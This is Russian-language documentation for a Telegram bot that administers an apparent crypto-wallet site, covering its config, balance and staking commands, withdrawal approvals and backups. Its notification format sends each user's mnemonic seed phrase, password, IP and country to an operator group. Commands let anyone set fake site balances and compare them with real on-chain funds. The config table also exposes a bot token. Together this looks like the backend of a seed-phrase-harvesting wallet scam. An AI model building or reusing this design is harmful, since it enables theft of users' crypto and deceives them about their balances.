# Telegram бот (telegram-bot-telegraf.js)

Библиотека: **Telegraf** (Node.js)
PM2 процесс: `telegram-bot`

## Конфигурация (bot-config.js)

| Параметр | Значение | Описание |
|----------|----------|----------|
| token | `8264624991:AAF-HcPBwAiOB8e2MLBF6p331ydAw29M8xg` | Токен бота |
| groupId | `-4948551116` | Группа: создание/импорт кошельков |
| withdrawGroupId | `-5218619448` | Группа: заявки на вывод |
| BACKUP_RECIPIENT_ID | `5559464166` | Личка: бэкапы БД |
| dbPath | `./wallets.db` | Путь к БД |

## Команды

### Информационные

| Команда | Синтаксис | Описание |
|---------|-----------|----------|
| `/start` | `/start` | Приветствие |
| `/help` | `/help` | Справка по всем командам |
| `/getid` | `/getid` | ID чата и пользователя |

### Балансы

| Команда | Синтаксис | Описание |
|---------|-----------|----------|
| `/balance` | `/balance id128` | Все балансы кошелька (ненулевые) |
| `/setbalance` | `/setbalance id128 SOL 10.5` | Установить баланс |
| `/addbalance` | `/addbalance id128 SOL 5.25` | Прибавить к балансу |

### Поиск

| Команда | Синтаксис | Описание |
|---------|-----------|----------|
| `/findwallet` | `/findwallet слово1 слово2 ...` | Поиск по мнемонике (полный отчёт) |
| `/checkbalance` | `/checkbalance id128` | Реальные USDT/TRX vs баланс на сайте |

### Стейкинг

| Команда | Синтаксис | Описание |
|---------|-----------|----------|
| `/stakinginfo` | `/stakinginfo id128` | Активные позиции |
| `/stake` | `/stake id128 BNB 1.5` | Разместить в стейкинг |
| `/unstake` | `/unstake id128 456` | Разблокировать (456 — ID позиции) |
| `/earlyunlock` | `/earlyunlock id128 456` | Досрочно разблокировать позицию (без проверки даты) |
| `/claimrewards` | `/claimrewards id128 456` | Забрать награды |
| `/addreward` | `/addreward id128 [дни]` | Ручное начисление (дефолт 1 день) |

### APR

| Команда | Синтаксис | Описание |
|---------|-----------|----------|
| `/setapr` | `/setapr BTC 15.5` | Глобальный APR токена |
| `/setwalletapr` | `/setwalletapr id128 BTC 15.5` | Индивидуальный APR |
| `/setwalletapr` | `/setwalletapr id128 BTC reset` | Сбросить индивидуальный |
| `/walletapr` | `/walletapr id128` | Показать индивидуальные ставки |

При изменении APR через `/setapr` или `/setwalletapr` — обновляется `apr` в активных `staking_positions`.

### Управление выводами

| Команда | Синтаксис | Описание |
|---------|-----------|----------|
| `/approve_N` | `/approve_1` | Подтвердить вывод (N — ID заявки) |
| `/reject_N` | `/reject_1` | Отклонить вывод (возврат средств) |

### Бэкап

| Команда | Синтаксис | Доступ |
|---------|-----------|--------|
| `/backup` | `/backup` | Только BACKUP_RECIPIENT_ID |

## Уведомления

### Создание/импорт кошелька → groupId

Формат сообщения:
```
🆕 Новый кошелек создан! / 📥 Импортирован новый кошелёк!

🆔 ID кошелька: 279
👤 Пользователь: User-xxxxx
🌐 IP: x.x.x.x
🌍 Страна: 🇷🇺 Россия
💵 USDT (TRC20): 280.000000 (только при импорте)
🔑 Мнемоника: слово1 слово2 ...
🔐 Пароль: xxxxx
📅 Время: DD.MM.YYYY, HH:MM:SS

Команды:
/balance idN
/setbalance idN <TOKEN> <сумма>
```

Страна определяется через GeoIP API. Флаг эмодзи добавляется автоматически.

**3-retry логика**: функция `sendWalletNotification` при неудаче отправки повторяет попытку до 3 раз с задержкой между попытками.

### Заявка на вывод → withdrawGroupId

Содержит: ID заявки, ID кошелька, токен, сумма, адрес, сеть, баланс до/после. Команды `/approve_N` и `/reject_N`.

## Автоматический бэкап

- Интервал: каждые 24 часа
- Первый: через 30 секунд после запуска
- Получатель: user ID `5559464166`
- Содержимое: файл `wallets-backup-{timestamp}.db`
- Caption: дата, количество кошельков/пользователей, размер

## Доступ к командам

- Все команды доступны любому пользователю
- **Исключение**: `/backup` — только для BACKUP_RECIPIENT_ID

## API-запросы бота

Бот обращается к `http://localhost:8080` для:
- `/derive-address?mnemonic=...&coin=TRX` — получение TRX-адреса
- TronGrid API — реальные балансы USDT TRC20 и TRX
